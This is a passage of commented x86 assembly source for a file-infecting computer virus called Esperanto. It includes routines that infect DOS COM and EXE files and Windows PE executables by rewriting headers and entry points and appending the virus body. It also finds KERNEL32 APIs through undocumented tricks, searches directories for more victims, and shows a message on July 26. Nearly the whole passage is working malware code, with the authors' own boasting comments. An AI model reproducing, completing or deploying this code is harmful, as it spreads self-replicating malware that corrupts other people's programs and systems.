; 4096 bytes to our buffer so we may look
; for the RVAs of the APIs we need

mov edx,esi
call lseek_middle

mov ah,3fh
mov cx,1000h
lea dx,old_exe_header
mov si,dx
int 21h

; Now let's go for GetModuleHandleA. We


; need the RVA of this API because it is
; necessary to call it in order to know
; the base address of KERNEL32.DLL

pop edx
push esi
lea edi,gmhandle_n
call search_name
mov dword ptr ds:[gmhandle_rva],eax

; Our next and last objective is the API


; GetProcAddress, which helps us in order
; to find the address of any API we look
; for of a given module or library

pop esi
lea edi,gpaddress_n
call search_name
mov dword ptr ds:[gpaddress_rva],eax
jmp infect_pe
; Go to next imported module descriptor

more_imd_imge: pop ebp eax


add ebp,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
jmp next_imd_imge

; ÄÄ´ PE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

infect_pe: inc byte ptr ds:[inf_counter] ; Increment inf.counter


mov si,bp ; SI = BP -> read buffer

mov dx,word ptr ds:[winexe_offset] ; Lseek to the PE


call lseek_middle ; header ([3c8h])

mov ah,3fh ; And read 4096 bytes


mov cx,1000h ; from it to our read
mov dx,si ; buffer, pointing it
int 21h ; with DS:DX and DS:SI

; Get the RVA of the last section header in


; EDI. Here's where we're going to copy our
; code, so no new sections are needed and
; we're not so easily discovered in a file

cld
lodsd
mov eax,IMAGE_SIZEOF_SECTION_HEADER
movzx ecx,word ptr ds:[esi+FH_NumberOfSections]
dec ecx
mul ecx

movzx edx,word ptr ds:[esi+FH_SizeOfOptionalHeader]


add eax,edx
add esi,IMAGE_SIZEOF_FILE_HEADER
add eax,esi
mov edi,eax

; Now get the old entry point and store its


; RVA in a dynamic variable of our code we
; will use in order to jump back to our host

push dword ptr ds:[esi+OH_AddressOfEntryPoint]


pop dword ptr ds:[entry_rva]

; Get original file size and store it for


; later use during the PE infection process

push es bx
mov ah,2fh
int 21h

mov eax,dword ptr es:[bx+1ah]


pop bx es

; Calculate new entry point by means of the


; original file size and our memory size, and
; save it as the new AddressOfEntryPoint

push eax
sub eax,dword ptr ds:[edi+SH_PointerToRawData]
add eax,dword ptr ds:[edi+SH_VirtualAddress]
add ax,offset espow32_start
mov dword ptr ds:[esi+OH_AddressOfEntryPoint],eax

; And store the RVA of the base address, not


; forgetting to add the dseta offset to it

add eax,dseta_offset
mov dword ptr ds:[base_address],eax

; Get new size of VirtualSize

pop eax
add ax,espo_file_size
sub eax,dword ptr ds:[edi+SH_PointerToRawData]
push eax
add ax,(espo_mem_size-espo_file_size)
cmp eax,dword ptr ds:[edi+SH_VirtualSize]
jbe virtual_ok

mov dword ptr ds:[edi+SH_VirtualSize],eax


virtual_ok: pop eax

; And now the new size of SizeOfRawData

add ax,(espo_mem_size-espo_file_size)
mov ecx,dword ptr ds:[esi+OH_FileAlignment]
cdq
div ecx
inc eax
mul ecx
mov dword ptr ds:[edi+SH_SizeOfRawData],eax

; Set section characteristics to execute, read


; and write access, so Esperanto will not find
; any problem when performing its functioning

or dword ptr ds:[edi+SH_Characteristics],\


IMAGE_SCN_MEM_EXECUTE or\
IMAGE_SCN_MEM_READ or\
IMAGE_SCN_MEM_WRITE

; Update the SizeOfImage pointer

mov eax,dword ptr ds:[esi+OH_SizeOfImage]


add ax,espo_file_size
mov ecx,dword ptr ds:[esi+OH_FileAlignment]
cdq
div ecx
inc eax
mul ecx
mov dword ptr ds:[esi+OH_SizeOfImage],eax

; Lseek to the offset of the PE header and


; rewrite the recently modified and updated
; one the infected file will use from now

mov dx,word ptr ds:[winexe_offset]


call lseek_middle

mov ah,40h
mov cx,1000h
mov dx,bp
int 21h
; And now finally lseek to the end of the
; file and append our code to the PE file
; we've just infected - we can go away

call lseek_end
mov ah,40h
mov cx,espo_file_size
lea dx,espo_start
int 21h
jmp go_away

; Í͹ Subroutines ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ


;
; DLE Note: the following subroutines are used by the DOS and Windows 3.1x mo-
; dules, in order to perform many repeated actions such as lseeking to the
; start or the end of a file, finding RVAs, and so on.

; ÄÄ´ Lseek to the start of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


;
; DLE Entry:
; * BX => file handle
; * File pointer somewhere in the file
;
; DLE Exit:
; * BX => file handle
; * File pointer in the start of the file

lseek_start: mov ax,4200h ; Lseek function, with


xor cx,cx ; AL, CX and DX = 0,
cwd ; ie, lseek to start of
int 21h ; the file in BX
ret ; And go back to code

; ÄÄ´ Lseek to the middle of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


;
; DLE Entry:
; * BX => file handle
; * DX => seek offset
; * File pointer somewhere in the file
;
; DLE Exit:
; * BX => file handle
; * File pointer = previous DX value

lseek_middle: mov ax,4200h ; Lseek function, the


xor cx,cx ; offset where to seek
int 21h ; is specified in CX
ret ; Return to our caller

; ÄÄ´ Lseek to the end of a file ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


;
; DLE Entry:
; * BX => file handle
; * File pointer somewhere in the file
;
; DLE Exit:
; * BX => file handle
; * File pointer in the end of the file

lseek_end: mov ax,4202h ; Lseek function, with


xor cx,cx ; AL=2 (from bottom),
cwd ; CX and DX equal to
int 21h ; zero -> lseek to end
ret ; Return to main code

; ÄÄ´ Look for the RVA of a given API by name ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


;
; DLE Entry:
; * EDX => Section ëelta-offset
; * DS:ESI => Import address table for KERNEL32.DLL
; * DS:EDI => Given API name to look for
; * EBP => Buffer start address
;
; DLE Exit:
; DLE EAX => RVA of the given IMD, or 0 if error

search_name: push ds
pop es

; Look for a given API (in EDI) whose RVA we


; are looking for by means of the structure
; IMAGE_IMPORT_BY_NAME, pointed by every dword
; in the thunk data array. First step consists
; on looking for its address (DS:ESI)

lodsd
or eax,eax
jz inp_notfound

; Once found, we get a pointer to the first


; function name of this structure, and compare
; it with the name of the API we look for

push esi edi


sub eax,edx
sub eax,dword ptr ds:[thunk_offset]
lea esi,dword ptr ds:[eax+ebp+2]
namebyname: lodsb
or al,al
jz inputfound

scasb
je namebyname

pop edi esi


jmp search_name

; In case names match, we go and get the


; RVA of the function we've just found in
; the IAT. Otherwise we keep on searching

inputfound: pop edi esi


lea eax,dword ptr ds:[esi-4]
add eax,dword ptr ds:[thunk_offset]
jmp stupid_jump

; I know this jump is completely stupid


; and non-sense, but i felt like to write
; such a fool thing when writing the virus
; and i decided to keep it :)

db '29A'

; We calculate the RVA and return it in


; EAX so it may be later stored in its
; corresponding dynamic variable
stupid_jump: sub eax,ebp
add eax,edx
ret

; If we couldn't find the RVA of the API,


; then we return with EAX equal to zero

inp_notfound: xor eax,eax


ret

; ÄÄ´ Check system conditions before infection ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


;
; DLE Entry:
; * BX => handle of possible victim
; * Infection counter holding a value 0-3
; * Infection timer holding a certain value
;
; DLE Good exit:
; * AH => 2ch
;
; DLE Exit with error:
; * AH => 0
; * Infection counter set to 0
; * Infection timer updated

system_checks: mov ah,2ch ; Get system time to


int 21h ; do our inf.checks

cmp byte ptr ds:[inf_counter],3 ; Have we already


jb check_time ; infected 3 files?

mov byte ptr ds:[inf_counter],al ; Yes, update the


jmp set_error ; infection counter

check_time: cmp byte ptr ds:[inf_timer],cl ; Are we still in the


jb go_for_it ; same minute?

set_error: cbw ; Set AH=0


mov byte ptr ds:[inf_timer],cl ; Update the timer
go_for_it: ret ; And return

; Í͹ Win32 module ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ

.386p ; Intel 80386+ PMODE


espow32_start label byte ; Define 32-bit start

first_entry: push eax ; Push for later use


pe_entry: pushad ; Push all the stuff

call delta_offset ; Get ëelta-offset


dseta_byte label byte ; Dseta-offset marker
delta_offset: pop ebp ; Get return address
mov ebx,ebp ; Store it in EBX
sub ebp,offset delta_offset ; Get ëelta in EBP

; Get the base address of our host in


; EBX, by means of substracting its
; RVA, stored during the PE infection

db 81h,0ebh
base_address dd offset first_entry-base_default+dseta_offset
; Now get the return address, ie, the
; original entry point of the PE file,
; in EAX and push it onto the stack
; for later use during our execution

db 0b8h
entry_rva dd offset exit_process-base_default
add eax,ebx
mov dword ptr [esp+20h],eax

; The following step consists on getting


; the RVA of GetModuleHandleA in EAX, so
; we may get the base address of KERNEL32

db 0b8h
gmhandle_rva dd offset gmhandle_a-base_default
or eax,eax
jz get_kernel32

push dword ptr [eax+ebx]


pop dword ptr [ebp+gmhandle_a]

; If everything has gone ok, we're now


; about to call the GetModuleHandle API
; in order to know KERNEL32's address.
; Otherwise we had to jump to our own
; routine which gets this value by means
; of undocumented features of Windows95
; (not valid for the rest of Win32!)

lea eax,dword ptr [ebp+kernel32_n]


push eax
lea eax,dword ptr [ebp+gmhandle_a]
call dword ptr [eax]
or eax,eax
jz get_kernel32
kernel_found: mov dword ptr [ebp+kernel32_a],eax

; Once we've found the base address of


; KERNEL32 it's necessary to use the API
; GetProcAddress in order to look for
; the addresses of the functions we need
; to use in our code in order to work

db 0b8h
gpaddress_rva dd offset gpaddress_a-base_default
or eax,eax
jz get_gpaddress

gpadd_found: push dword ptr [eax+ebx]


pop dword ptr [ebp+gpaddress_a]

; Point to the start of the table of API


; names with ESI, and to the start of the
; table of API addresses with EDI, holding
; the number of needed API functions in
; ECX, and then call GetProcAddress so we
; may fill the table of API addresses with
; the current valid values for our APIs

cld
mov ecx,(offset api_names_end-offset api_names)/4
lea esi,dword ptr [ebp+api_names]
lea edi,dword ptr [ebp+api_addresses]

find_more_api: lodsd
add eax,ebp
push ecx esi edi eax
push dword ptr [ebp+kernel32_a]
lea eax,dword ptr [ebp+gpaddress_a]
call dword ptr [eax]

pop edi esi ecx


or eax,eax
jz jump_to_host

cld
stosd
loop find_more_api

; ÄÄ´ Payload checking routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; Now it's time to check for our activation


; date (july 26th, when, in 1887, the first
; book written in Esperanto, "Internacia
; Lingvo", was published), so we first use
; the API GetLocalTime to get the date

lea eax,dword ptr [ebp+time_table]


push eax
lea eax,dword ptr [ebp+glocaltime_a]
call dword ptr [eax]

; Check for july

cmp word ptr [ebp+system_month],7


jne find_first

; Now check for the 26th

cmp word ptr [ebp+system_day],1ah


jne find_first

; At this point we're sure about the fact


; that today is our activation date, so
; we call the API LoadLibraryA in order
; to load the USER32.DLL module (for the
; case our host does not load it)

lea eax,dword ptr [ebp+user32_n]


push eax
lea eax,dword ptr [ebp+loadlibrary_a]
call dword ptr [eax]
or eax,eax
jz jump_to_host

; Next step consists on decrypting the


; internal text used in the payload,
; which is hidden behind a stupid "not"
; encryption... just do it (Nike) :P

mov ecx,text_size
lea esi,dword ptr [ebp+text_start]
mov edi,esi
decrypt_text: lodsb
not al
stosb
loop decrypt_text

; Once this is done, it's necessary to


; call again GetProcAddress in order to
; get the address of the API MessageBoxA

lea esi,dword ptr [ebp+messagebox_n]


lea edx,dword ptr [ebp+gpaddress_a]
push esi eax
call dword ptr [edx]
or eax,eax
jz jump_to_host

; And now we've done almost everything


; in the payload... just call the API,
; show the text and jump to the host (no
; infection in Esperanto's only holiday)

push 1000h
lea esi,dword ptr [ebp+virus_author]
lea edi,dword ptr [ebp+virus_text]
push esi edi 0
call eax
jmp jump_to_host

; ÄÄ´ File searching routine (FindFirstFileA-based) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; Look for first file in current directory


; by means of the API FindFirstFileA, and
; increment the infection counter byte

find_first: mov byte ptr [ebp+inf_counter],0


lea eax,dword ptr [ebp+finddata]
lea edx,dword ptr [ebp+wildcard]
push eax edx
lea eax,dword ptr [ebp+findfirst_a]
call dword ptr [eax]
cmp eax,0ffffffffh
je jump_to_host

; ÄÄ´ File checking routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; Save the handle of the found file and


; check for its size, just to see if it's
; a too small file to be infected

mov dword ptr [ebp+srchandle],eax


check_victim: cmp dword ptr [ebp+finddata+WFD_nFileSizeHigh],0
jne find_next

cmp dword ptr [ebp+finddata+WFD_nFileSizeLow],\


0fffffc17h-espo_file_size
jae find_next

; The file size is ok, now let's memory-map


; it and do further checks about its main
; characteristics, to know if it's a good
; file to infect with our viral code

call open_map_file
or ebx,ebx
jz find_next
; First of all, check for its extension to
; be COM or EXE. I used a stupid waste of
; bytes here, but i was kinda drunk when i
; did it (check for a dot instead of the end
; of the ASCIIZ string), so i thought it was
; fun not to modify it... it works :)

cld
lea esi,dword ptr [ebp+finddata+WFD_szFileName]
find_dot: inc byte ptr [ebp+max_path_size]
cmp byte ptr [ebp+max_path_size],0ffh
je unmap_n_close

lodsb
cmp al,'.'
jne find_dot

; Is it a COM file?

dec esi
lodsd
cmp eax,'MOC.'
je check32_com

; Maybe an EXE file?

cmp eax,'EXE.'
jne unmap_n_close

; Seems so... first check for the MZ mark


; as the first doubleword in the header

; ÄÄ´ EXE files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

check32_exe: cmp word ptr [ebx],'ZM'


jne unmap_n_close

; Now check for our infection mark (";)")

cmp word ptr [ebx+MZ_csum],');'


je unmap_n_close

; If file has not been infected, then


; set the winky smiley as checksum, and
; check for the number of overlays

mov word ptr [ebx+MZ_csum],');'


cmp word ptr [ebx+MZ_ovno],0
jne unmap_n_close

; Don't infect PkLited EXEs

cmp word ptr [ebx+MZ_res+2],'KP'


je unmap_n_close

; Now check for the Windows file mark

cmp word ptr [ebx+MZ_lfarlc],40h


je check32_pe

; At this point we know it is a DOS EXE


; file... we're gonna infect it for sure
; ÄÄ´ EXE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

infect32_exe: mov byte ptr [ebp+file_flag],'E'


inc byte ptr [ebp+inf_counter]
call unmap_close

; Only EXEs < 65535, because of the "div"


; problem referenced in the virus description
; which is found at the start of this file

mov eax,dword ptr [ebp+finddata+WFD_nFileSizeLow]


cmp eax,0ffffh
jnb unmap_n_close

; Remap the file with our size added

push eax
add dword ptr [ebp+finddata+WFD_nFileSizeLow],\
espo_file_size
call open_map_file
or ebx,ebx
jz no_good

; Calculate the new CS by means of first


; getting the size header in paragraphs

pop eax
push eax
mov ecx,10h
cdq
div ecx
sub ax,word ptr [ebx+MZ_cparhdr]

; Update new CS and store the old one

push ax
xchg word ptr [ebx+MZ_cs],ax
mov word ptr [ebp+exe_cs],ax
pop ax

; And now update the IP pointer, which


; is equal to zero, that is, the start
; of the virus which jumps straight to
; the COM and EXE entry

push dx
xchg word ptr [ebx+MZ_ip],dx
mov word ptr [ebp+exe_ip],dx
pop dx

; Now calculate SS and SP

add edx,espo_file_size+320h
and dl,0feh

; Update SS

xchg word ptr [ebx+MZ_ss],ax


mov word ptr [ebp+exe_ss],ax

; Update SP
xchg word ptr [ebx+MZ_sp],dx
mov word ptr [ebp+exe_sp],dx
pop eax

; Calculate the new number of bytes in last


; page and of pages in EXE file, and update
; the corresponding pointers in the MZ header

add eax,espo_file_size
mov ecx,200h
cdq
div ecx
inc eax
mov word ptr [ebx+MZ_cblp],dx
mov word ptr [ebx+MZ_cp],ax

; And finally append our code to the end of


; the EXE file we've just infected. The MZ
; header will be overwritten to the old one
; as soon as the file is unmapped, no need
; to lseek to the start and write it

cld
mov ecx,espo_file_size
lea esi,dword ptr [ebp+espo_start]
mov edi,dword ptr [ebp+finddata+WFD_nFileSizeLow]
sub edi,ecx
add edi,ebx
rep movsb
jmp unmap_n_close

; Check if the COM file has been previously


; infected by Esperanto (winky ";)" smiley)

; ÄÄ´ COM files check routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

check32_com: cmp word ptr [ebx+3],');'


je unmap_n_close

; If not, set the file flag, increment the


; infection counter and memory map the file
; with our size previously added

; ÄÄ´ COM files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

infect32_com: mov byte ptr [ebp+file_flag],'C'


inc byte ptr [ebp+inf_counter]
call unmap_close
add dword ptr [ebp+finddata+WFD_nFileSizeLow],\
espo_file_size
call open_map_file
or ebx,ebx
jz no_good

; Store old COM header in our buffer

cld
mov ecx,5
push ecx
mov esi,ebx
lea edi,dword ptr [ebp+old_com_header]
rep movsb
; Calculate the jump to the COM and EXE
; entry point of the virus (once appended)
; and store it in the buffer of the new
; COM header ("0e9h,?,?,;)"). Then copy
; it to the first five bytes of the file

pop ecx
lea esi,dword ptr [ebp+new_com_header]
mov edi,ebx
mov eax,dword ptr [ebp+finddata+WFD_nFileSizeLow]
sub eax,espo_file_size
push eax
sub eax,3
mov word ptr [esi+1],ax
rep movsb

; And finally append the viral code to


; the end of the COM file, unmap it and
; go look for more files to infect

mov ecx,espo_file_size
lea esi,dword ptr [ebp+espo_start]
pop edi
add edi,ebx
rep movsb
jmp unmap_n_close

; Check if the new EXE file is a PE, by


; first comparing the starting doubleword
; of the new header with "PE"

; ÄÄ´ PE files check routine (I) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

check32_pe: mov esi,dword ptr [ebx+MZ_lfanew]


add esi,ebx
lodsd

cmp eax,'EP'
jne unmap_n_close

; If this is ok, now check if the file is


; executable and if it is not a DLL

mov ax,word ptr [esi+FH_Characteristics]


test ax,IMAGE_FILE_EXECUTABLE_IMAGE
jz unmap_n_close

test ax,IMAGE_FILE_DLL
jnz unmap_n_close

; Get number of sections of the PE file


; and then point the first section with EDI

movzx ecx,word ptr [esi+FH_NumberOfSections]


movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
add esi,IMAGE_SIZEOF_FILE_HEADER
add edi,esi

s_img_section: mov eax,dword ptr [esi+OH_DataDirectory\


.DE_Import\
.DD_VirtualAddress]
mov edx,dword ptr [edi+SH_VirtualAddress]
sub eax,edx
; Now we're looking for the section in which
; the import table is found. This is usually
; the .idata section, but we make sure by
; means of checking if the address of the
; imports directory is inside this section

cmp eax,dword ptr [edi+SH_VirtualSize]


jb section_ok

; In case it's not, we point to the header


; of the next section with EDI, and keep on
; doing the same until we find it

add edi,IMAGE_SIZEOF_SECTION_HEADER
loop s_img_section
jmp unmap_n_close

; Now get a pointer to the first import


; module descriptor in EAX so we may
; look for KERNEL32.DLL thru this array

section_ok: add eax,dword ptr [edi+SH_PointerToRawData]


sub edx,eax
add eax,ebx

; Get the RVA of the Import Module


; Descriptor in ESI and later check
; if it actually exists or not (=0)

next_imd_img: mov esi,dword ptr [eax+ID_Name]


lea edi,dword ptr [ebp+offset kernel32_n]
or esi,esi
jz unmap_n_close

; Now get the address of the name of


; the IMD and check if it's the one
; we're looking for (KERNEL32.DLL)

push eax
mov ecx,8
sub esi,edx
add esi,ebx

; Get a character from ESI, check its case,


; convert it if necessary to uppercase and
; then compare the strings pointed by ESI
; and EDI, to see if we find KERNEL32.DLL

dll_loop: lodsb
cmp al,'a'
jb check_char

sub al,('a'-'A')
check_char: scasb
jne more_imd_img
loop dll_loop

; Save the ID_ForwarderChain pointer in the


; dynamic variable which corresponds to the
; KERNEL32.DLL RVA, as we will need it to
; find the base address of this module if
; the calling process to GetModuleHandleA
; was not successful (this is undocumented)

pop edi
lea eax,dword ptr [edi+ID_ForwarderChain]
sub eax,ebx
add eax,edx
mov dword ptr [ebp+kernel32_rva],eax

; Get the time/date stamp of KERNEL32.DLL


; into EAX in order to compare it with the
; corresponding stamp of the file we're
; about to infect, as we don't want to hit
; any binded executable PE file

mov eax,dword ptr [ebp+kernel32_a]


mov esi,dword ptr [eax+IMAGE_DOS_HEADER.MZ_lfanew]
add esi,eax
add esi,NT_FileHeader.FH_TimeDateStamp
lodsd

; Determine if file is binded. If not, jump


; and go find the RVA of the APIs needed in
; the working process of Esperanto

mov esi,dword ptr [edi+ID_FirstThunk]


sub esi,edx
add esi,ebx
cmp eax,dword ptr [edi+ID_TimeDateStamp]
jne find_rvas

; ÄÄ´ File searching routine (FindNextFileA-based) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; Memory unmap file handled in EBX, check


; the infection counter and, if everything
; is ok, look for more files to infect

unmap_n_close: call unmap_close


find_next: cmp byte ptr [ebp+inf_counter],3
je jump_to_host

lea eax,dword ptr [ebp+finddata]


push eax
push dword ptr [ebp+srchandle]
lea eax,dword ptr [ebp+findnext_a]
call dword ptr [eax]
or eax,eax
jnz check_victim

; Nothing else to do, close the search


; handle and jump to the original entry
; point of the code of our host

push dword ptr [ebp+srchandle]


lea eax,dword ptr [ebp+findclose_a]
call dword ptr [eax]
jump_to_host: popad
ret

; ÄÄ´ PE files check routine (II) ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; Go to next imported module descriptor

more_imd_img: pop eax


add eax,IMAGE_SIZEOF_IMPORT_DESCRIPTOR
jmp next_imd_img

; Now let's go for GetModuleHandleA. We


; need the RVA of this API because it is
; necessary to call it in order to know
; the base address of KERNEL32.DLL

find_rvas: push esi


lea edi,dword ptr [ebp+gmhandle_n]
call look4name
mov dword ptr [ebp+gmhandle_rva],eax

; Our next and last objective is the API


; GetProcAddress, which helps us in order
; to find the address of any API we look
; for of a given module or library

pop esi
lea edi,dword ptr [ebp+gpaddress_n]
call look4name
mov dword ptr [ebp+gpaddress_rva],eax

; ÄÄ´ PE files infection routine ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

; Increment infection counter and remap our


; victim in memory with the virus size added

infect32_pe: inc byte ptr [ebp+inf_counter]


call unmap_close
add dword ptr [ebp+finddata+WFD_nFileSizeLow],\
espo_file_size
call open_map_file
or ebx,ebx
jz no_good

cld
mov esi,dword ptr [ebx+MZ_lfanew]
add esi,ebx
lodsd

; Get the RVA of the last section header in


; EDI. Here's where we're going to copy our
; code, so no new sections are needed and
; we're not so easily discovered in a file

mov eax,IMAGE_SIZEOF_SECTION_HEADER
movzx ecx,word ptr [esi+FH_NumberOfSections]
dec ecx
mul ecx

movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]


add eax,edx
add esi,IMAGE_SIZEOF_FILE_HEADER
add eax,esi
mov edi,eax

; Now get the old entry point and store its


; RVA in a dynamic variable of our code we
; will use in order to jump back to our host

push dword ptr [esi+OH_AddressOfEntryPoint]


pop dword ptr [ebp+entry_rva]
; Get original file size and store it for
; later use during the PE infection process

mov eax,dword ptr [ebp+finddata+WFD_nFileSizeLow]


sub eax,espo_file_size
push eax

; Calculate new entry point by means of the


; original file size and our memory size, and
; save it as the new AddressOfEntryPoint

sub eax,dword ptr [edi+SH_PointerToRawData]


add eax,dword ptr [edi+SH_VirtualAddress]
add eax,offset espow32_start
mov dword ptr [esi+OH_AddressOfEntryPoint],eax

; And store the RVA of the base address, not


; forgetting to add the dseta offset to it

add eax,dseta_offset
mov dword ptr [ebp+base_address],eax

; Get new size of VirtualSize

mov eax,dword ptr [ebp+finddata.WFD_nFileSizeLow]


sub eax,dword ptr [edi+SH_PointerToRawData]
push eax

add eax,(espo_mem_size-espo_file_size)
cmp eax,dword ptr [edi+SH_VirtualSize]
jbe virtsize_ok

mov dword ptr [edi+SH_VirtualSize],eax


virtsize_ok: pop eax

; And now the new size of SizeOfRawData

add eax,(espo_mem_size-espo_file_size)
mov ecx,dword ptr [esi+OH_FileAlignment]
cdq
div ecx
inc eax
mul ecx
mov dword ptr [edi+SH_SizeOfRawData],eax

; Set section characteristics to execute, read


; and write access, so Esperanto will not find
; any problem when performing its functioning

or dword ptr [edi+SH_Characteristics],\


IMAGE_SCN_MEM_EXECUTE or\
IMAGE_SCN_MEM_READ or\
IMAGE_SCN_MEM_WRITE

; Update the SizeOfImage pointer

mov eax,dword ptr [esi+OH_SizeOfImage]


add eax,espo_file_size
mov ecx,dword ptr [esi+OH_FileAlignment]
cdq
div ecx
inc eax
mul ecx
mov dword ptr [esi+OH_SizeOfImage],eax

; And finally append the virus body to the


; the end of the PE file we've just infected,
; unmap it and go look for more victims

mov ecx,espo_file_size
lea esi,dword ptr [ebp+espo_start]
pop edi
add edi,ebx
rep movsb
no_good: jmp unmap_n_close

; Í͹ Subroutines ÌÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ


;
; DLE Note: the following subroutines are used by the Win32 module in order to
; perform many repeated actions, such as mapping or unmapping a file, fin-
; ding RVAs or the base address of a given module or API, and so on.

; ÄÄ´ Undocumented way to find the address of K32 ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


;
; DLE Entry:
; * EBX => base address of host
; * Necessity to find KERNEL32.DLL
;
; DLE Exit:
; * EAX => base address of KERNEL32.DLL
; * EBX => base address of host

; Try to get the base address of KERNEL32


; by means of ID_ForwarderChain. This is
; an undocumented feature which only works
; in Windows95. First load the RVA in ESI
; and then add the base address to it

get_kernel32: db 0beh
kernel32_rva dd ?
add esi,ebx
lodsd

; Now check for the MZ signature

cmp word ptr [eax],'ZM'


jne k32_not_found

; And finally, for the PE one. If it was


; found, then the undocumented feature has
; worked. Otherwise the control will be
; passed to our host, as we can't execute

mov esi,dword ptr [eax+MZ_lfanew]


cmp dword ptr [esi+eax],'EP'
je kernel_found
k32_not_found: popad
ret

; ÄÄ´ Undocumented way to find the address of GetProcAddress ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ


;
; DLE Entry:
; * EBX => base address of host
; * kernel32_a => base address of KERNEL32.DLL
; * Necessity to find GetProcAddress
;
; DLE Exit:
; * EAX => address of GetProcAddress
; * EBX => base address of host

; This undocumented way to get the address


; of the API GetProcAddress is based on
; looking for its name and later for its
; ordinal thru the array of APIs exported
; by the module KERNEL32.DLL. Thus, the
; first step consists on seeking to the
; base address of this library and making
; sure this is the right address

get_gpaddress: cld
push ebx
mov ebx,dword ptr [ebp+kernel32_a]
cmp word ptr [ebx],'ZM'
jne gpa_aborted

; Once we know it has a MZ header, let's


; check for the PE mark, pointed by [3ch]

mov esi,dword ptr [ebx+IMAGE_DOS_HEADER.MZ_lfanew]


add esi,ebx
lodsd

cmp eax,'EP'
jne gpa_aborted

; Everything ok, now let's get a pointer


; to the image export directory and push
; it onto the stack for later use

add esi,NT_OptionalHeader\
.OH_DirectoryEntries\
.DE_Export\
.DD_VirtualAddress-4
lodsd
add eax,ebx
push eax

; Get also a pointer to the table of the


; names of exported functions and to their
; corresponding ordinals or addresses

mov ecx,dword ptr [eax+ED_NumberOfNames]


mov edx,dword ptr [eax+ED_AddressOfNameOrdinals]
add edx,ebx
lea esi,dword ptr [eax+ED_AddressOfNames]
lodsd
add eax,ebx

; Now look for "GetProcAddress" thru the


; array of names of exported API functions

search_name: push ecx


lea esi,dword ptr [ebp+gpaddress_n]
mov edi,dword ptr [eax]
or edi,edi
jz next_name

; Compare the strings


mov ecx,0eh
add edi,ebx
repe cmpsb
je name_found

; Not found, go to next name

next_name: add eax,4


add edx,2
pop ecx
loop search_name

; In case it was not found, jump to the


; error routine and stop the functioning

pop eax
jmp gpa_aborted

; The "GetProcAddress" string was found,


; and EDX is the index of the function,
; so now we have to look for the ordinal
; using the mentioned index in EDX, and
; check if it is out of range

name_found: pop ecx edi


movzx eax,word ptr [edx]
cmp eax,dword ptr [edi+ED_NumberOfFunctions]
jae gpa_aborted

; This is the starting ordinal number

sub eax,dword ptr [edi+ED_BaseOrdinal]


inc eax
shl eax,2

; Finally, get address of function and jump


; back to the main routine, in order to look
; for the addresses of other needed APIs

mov esi,dword ptr [edi+ED_AddressOfFunctions]


add esi,eax
add esi,ebx
lodsd
add eax,ebx
pop ebx
jmp gpadd_found

; In case there was an error, stop running


; and jump to the original entry point

gpa_aborted: pop ebx


popad
ret

